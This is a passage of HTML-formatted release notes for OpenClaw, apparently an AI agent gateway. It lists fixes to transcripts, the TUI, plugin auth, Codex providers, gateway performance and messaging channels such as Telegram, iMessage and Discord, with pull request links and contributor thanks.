data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70707/hovercard" href="https://github.com/openclaw/openclaw/pull/70707">#70707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524708660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86924/hovercard" href="https://github.com/openclaw/openclaw/pull/86924">#86924</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsxsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsxsoft">@zsxsoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttzero25/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttzero25">@ttzero25</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.</p>
</li>
<li>
<p>TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526651884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87000" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87000/hovercard" href="https://github.com/openclaw/openclaw/pull/87000">#87000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508988920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85786/hovercard" href="https://github.com/openclaw/openclaw/pull/85786">#85786</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528777005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87108" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87108/hovercard" href="https://github.com/openclaw/openclaw/pull/87108">#87108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526678539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87001" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87001/hovercard" href="https://github.com/openclaw/openclaw/pull/87001">#87001</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519059143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86614/hovercard" href="https://github.com/openclaw/openclaw/pull/86614">#86614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</p>
</li>
<li>
<p>Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep <code>onDiagnosticEvent</code> exports discoverable through <code>Function.name</code>, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510573276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85936/hovercard" href="https://github.com/openclaw/openclaw/pull/85936">#85936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526051671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86977/hovercard" href="https://github.com/openclaw/openclaw/pull/86977">#86977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528108015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87069/hovercard" href="https://github.com/openclaw/openclaw/pull/87069">#87069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521793733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86771" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86771/hovercard" href="https://github.com/openclaw/openclaw/pull/86771">#86771</a>)</p>
</li>
<li>
<p>Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama <code>top_p</code>, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528562037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87096/hovercard" href="https://github.com/openclaw/openclaw/pull/87096">#87096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347364384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73950/hovercard" href="https://github.com/openclaw/openclaw/pull/73950">#73950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527698191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87049/hovercard" href="https://github.com/openclaw/openclaw/pull/87049">#87049</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520410864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86689/hovercard" href="https://github.com/openclaw/openclaw/pull/86689">#86689</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</p>
</li>
<li>
<p>Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest <code>PATH</code>, and bootstrap raw AWS macOS Node/pnpm commands through <code>/usr/bin/env</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526462111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86997" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86997/hovercard" href="https://github.com/openclaw/openclaw/pull/86997">#86997</a>)</p>
</li>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Agents/sessions: handle active-fallback failures in <code>sessions_send</code> so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519588215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86638/hovercard" href="https://github.com/openclaw/openclaw/pull/86638">#86638</a>)</p>
</li>
<li>
<p>Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512136564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86101" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86101/hovercard" href="https://github.com/openclaw/openclaw/pull/86101">#86101</a>)</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" 